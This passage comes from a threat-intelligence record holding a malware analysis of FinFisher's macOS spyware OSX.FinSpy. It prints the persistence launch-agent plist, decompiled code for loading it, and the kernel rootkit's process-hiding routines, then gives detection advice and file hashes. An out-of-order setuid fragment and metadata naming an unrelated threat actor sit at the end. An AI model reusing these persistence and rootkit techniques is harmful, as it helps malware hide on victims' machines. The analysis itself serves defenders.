it:\n$ cat /Library/LaunchAgents/logind.plist\n?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\nUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\nLabelorg.logindProgramArguments/private/etc/logindRunAtLoad https://objective-see.com/blog/blog_0x4F.html\nPage 24 of 30\n\nKeepAliveSuccessfulExit As the RunAtLoad key is set to true , the binary, /private/etc/logind will be automatically (re)executed\neach time the system is rebooted an the user logs in.\nOnce the installer has, well, installed (and setuid’d) these various components, it kicks off this persistent launch\nagent via a call to [GIFileOps loadAgent:]\nThis method simply invokes launchctl with the load command line argument, and path to the logind.plist\nto:\n 1+(char)loadAgent:(char *)plist {\n 2\n 3 task = [[NSTask alloc] init];\n 4 [task setLaunchPath:@\"/bin/launchctl\"];\n 5 args = [NSArray arrayWithObjects:@\"load\", plist, 0x0];\n 6 [r15 setArguments:args];\n 7\n 8 [task launch];\n 9 [task waitUntilExit];\n10 ...\n11}\nThe persistent implant ( /private/etc/logind ), is now off and running!\nRootkit ( logind.kext )\nOne of the (potentially) more interesting aspects of this malware is its kernel-mode rootkit functionality. Simply\nput, (public) macOS malware with ring-0 capabilities is rare!\nThe file logind.kext is kernel extension …albeit unsigned:\n$ codesign -dvv org.logind.ctp.archive/logind.kext/Contents/MacOS/logind\nlogind.kext/Contents/MacOS/logind: code object is not signed at all\nAs the kernel extension is unsigned, it won’t run on any recent version of macOS (which enforce kext code\nsigning requirements).\nIt terms of it’s functionality, it appears to be a simple process hider.\nhttps://objective-see.com/blog/blog_0x4F.html\nPage 25 of 30\n\nIn a function named ph_init , the kernel extension looks up a bunch of kernel symbols (via a function named\r\nksym_resolve_symbol_by_crc32 ):\r\n 1void ph_init() {\r\n 2\r\n 3 rax = ksym_resolve_symbol_by_crc32(0x127a88e8, rsi, rdx, rcx);\r\n 4 *_ALLPROC_ADDRESS = rax;\r\n 5\r\n 6 ...\r\n 7\r\n 8 rax = ksym_resolve_symbol_by_crc32(0xfffffffffef1d247, rsi, rdx, rcx);\r\n 9 *_LCK_LCK = rax;\r\n10 if (rax != 0x0)\r\n11 *_LCK_LCK = *rax;\r\n12\r\n13 ...\r\n14\r\n15 rax = ksym_resolve_symbol_by_crc32(0x392ec7ae, rsi, rdx, rcx);\r\n16 *_LCK_MTX_LOCK = rax;\r\n17 if (rax != 0x0)\r\n18 *_LCK_MTX_UNLOCK = ksym_resolve_symbol_by_crc32(0x2472817c, rsi, rdx, rcx);\r\n19\r\n20\r\n21 return;\r\n22}\r\nBased on variable names, it appears that logind.kext is attempting to resolve the pointer of the kernel’s global\r\nlist of proc (process) structures, as well as various locks.\r\nIn a function named ph_hide the kext will hide a process. This is done by walking the list of proc structures\r\n(pointed to by _ALLPROC_ADDRESS ), and looking for the one that matches (to hide):\r\n 1void _ph_hide(int arg0) {\r\n 2\r\n 3 r14 = arg0;\r\n 4 if (r14 == 0x0) return;\r\n 5\r\n 6 r15 = *_ALLPROC_ADDRESS;\r\n 7 if (r15 == 0x0) goto return;\r\n 8\r\n 9SEARCH:\r\n10\r\n11 rax = proc_pid(r15);\r\n12 rbx = *r15;\r\n13 if (rax == r14) goto HIDE;\r\n14\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 26 of 30\n\n15loc_15da:\r\n16 r15 = rbx;\r\n17 if (rbx != 0x0) goto SEARCH;\r\n18\r\n19 return;\r\n20\r\n21HIDE:\r\n22 r14 = *(r15 + 0x8);\r\n23 (*_LCK_MTX_LOCK)(*_LCK_LCK);\r\n24 *r14 = rbx;\r\n25 *(rbx + 0x8) = r14;\r\n26 (*_LCK_MTX_UNLOCK)(*_LCK_LCK);\r\n27 return;\r\n28}\r\nIn the above code, note that HIDE contains the logic to remove the target process of interest, by unlinking it from\r\nthe (process) list. Once removed, the process is now (relatively) “hidden”. (Of course one can leverage XNU level\r\nAPIs to uncover such process hiding).\r\nThe malicious kext also appears to be able to communicate with user-mode via the file /tmp/launchd-935.U3xqZw . Specifically, in a function named ksym_init , it will open and read in the contents of this file\r\n(which may contain details of the process to hide?):\r\n 1void ksym_init(int arg0, int arg1) {\r\n 2 *(int32_t *)_MKI_SIZE = fileio_get_file_size(\"/tmp/launchd-935.U3xqZw\", arg1);\r\n 3 rax = _OSMalloc_Tagalloc(\"MKI\", 0x0);\r\n 4 *_MKI_TAG = rax;\r\n 5 if (rax == 0x0) goto .l1;\r\n 6\r\n 7loc_1898:\r\n 8 rax = _OSMalloc(*(int32_t *)_MKI_SIZE, rax);\r\n 9 *_MKI_BUFFER = rax;\r\n10 if (rax == 0x0) goto loc_1921;\r\n11\r\n12loc_18b2:\r\n13 if (fileio_read_file_fully(\"/tmp/launchd-935.U3xqZw\", rax) == 0x0) goto loc_1908;\r\n14\r\n15 ....\r\n16}\r\nOk, and what about the malware’s C\u0026C comms? capabilities? and more? Well good news, that’s already been\r\ncovered in Amesty’s writeup.\r\nIn terms of C\u0026C communications, the researchers note:\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 27 of 30\n\n\"The spyware communicates with the Command \u0026 Control (C\u0026C) server using HTTP POST requests.\r\nThe data sent to the server is encrypted using functions provided by the 7F module, compressed using a\r\ncustom compressor and base64 encoded\"\r\nMoreover, they uncovered a large list of modules available to the spyware:\r\nDetections\r\nWe noted our free tools can easily detect FinSpy …as always, with no a priori knowledge.\r\nSpecifically, BlockBlock can detect the malware at runtime, persisting as a launch agent:\r\nBlockBlock's detection of FinSpy\r\nAnd if the malware is already present on the system, a KnockKnock scan can reveal this launch agent as well:\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 28 of 30\n\nKnockKnock's detection of FinSpy\r\nYou might be wondering, without specific knowledge of OSX.FinSpy, how would one know that the item logind,\r\nin KnockKnock's scan is indeed malicious?\r\nBy design, KnockKnock simply enumerates persistent items installed on macOS system. However, the logind item\r\nsticks out as it is:\r\nunsigned\r\nunrecognized by VirusTotal\r\n…though this does not guarantee such an item is malicious, these observations (in conjunction) are serious red\r\nflags, and as such, the item should be closely examined.\r\nTo manually detect (this) variant of of OSX.FinSpy, one could also manually check for the existence of:\r\n/private/etc/logind\r\nsha1: 62e5dc40bfabaa712cd9e32ac755384db07f0dab\r\n/Library/LaunchAgents/logind.plist\r\nsha1: a2aba86d5d763f311dff8250bc8fe98de958bff4\r\nlogind.kext (likely in /Library/Extensions/ )\r\nsha1: 18e1d03e41b5fc6d54fdda340fe2dab219502f3d\r\nConclusion\r\nToday, we triaged FinFisher’s macOS implant, FinSpy.\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 29 of 30\n\nAlthough rather somewhat dated, it provided an intriguing look into the world of commercial cyber-espionage\r\nmalware. And yes, the exploits it leveraged were all public (and long patched) and its rootkit capabilities were\r\nrather mundane …but let’s not forget that a more modern version of this threat (or similar commercial implant)\r\ncould be far more sophisticated!\r\n💕 Support Us:\r\nLove these blog posts? You can support them via my Patreon page!\r\nSource: https://objective-see.com/blog/blog_0x4F.html\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 30 of 30\n\nroot:wheel ) with the $ ls -lart /Users/user/Library/Caches/org.logind.ctp.archive/installer setuid bit set (via chmod 06777 ):\n-rwsrwsrwx 1 root wheel 63396 Feb 16 2018 /Users/user/Library/Caches/org.logind.ctp.archive/insta\n   Page 19 of 30",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://objective-see.com/blog/blog_0x4F.html"
	],
	"report_names": [
		"blog_0x4F.html"
	],
	"threat_actors": [
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434596,
	"ts_updated_at": 1775791833,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/1bb09b49bf1bc6e1a6456623e1180b9fde145299.pdf",
		"text": "https://archive.orkl.eu/1bb09b49bf1bc6e1a6456623e1180b9fde145299.txt",
		"img": "https://archive.orkl.eu/1bb09b49bf1bc6e1a6456623e1180b9fde145299.jpg"
	}
}